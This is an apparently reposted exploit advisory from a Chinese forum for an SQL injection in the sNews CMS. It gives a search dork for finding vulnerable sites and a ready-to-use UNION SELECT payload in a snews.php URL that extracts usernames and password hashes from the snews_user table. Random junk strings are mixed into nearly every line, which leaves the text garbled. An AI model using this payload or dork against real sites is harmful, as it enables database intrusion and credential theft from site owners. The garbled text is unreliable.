标题: CMS snews SQL Injection Vulnerability2 C, m& U2 K# N7 c2 j
作者: By onestree9 F/ F/ G# _) K0 F+ S
下载地址 : http://snewscms.com/0 }* h( ?1 E0 F/ }4 @
测试平台 : ubuntu 12.10 / win 72 ^% e F+ U7 z% Z7 B3 ~
关键词: inurl:"tanyakan pada rumput yang bergoyang"& o$ h t) I2 \' c$ {3 n9 x" f2 M! X$ c Y
" b( H: W8 U3 e/ X, U" z
1 q) o0 C5 U) e% y4 {4 \/ Q
*************************************************************" x6 Z4 Y: q( W
9 a: a/ p/ a1 b; x3 l) p
SQL poc:/ g# P7 {& V/ o9 `8 P
! S* j4 L2 {; [: u2 `8 ohttp://www.2cto.com /snews/snews.php?act=shownews&id=[SQL]/ @( i0 D+ ~& y3 H& L& Y
1 p$ ]% ?# D% q' r! B& d示例
6 s; ]$ t$ B# C* n* ]0 d * {. ]" P* ]! ?1 y" g& T
http://localhost/snews/snews.php?act=shownews&id=-23/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/snews_user/**/where/**/id%20like%201/*
2 Z/ ^& i6 f- l9 E4 |/ U0 C) Y 4 M8 _2 j2 P4 v
5 X9 y& F* W, X致谢:. P7 K7 F3 J, c3 H6 ]6 F
% D- y# m0 W0 ^& V' U
Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell
9 n2 E% [- `" Y% W ; C' U0 a% w# _: }. E
indonesiancoder - moeslimh4x0r - go-coder
L6 F a R9 `' E% m" o$ @2 \
# q; p5 L e1 l* Fspesial my hunny :*
' h. n, ~% Y7 u9 C: R |
发表于 2013-1-23 08:55:06
收藏
支持
反对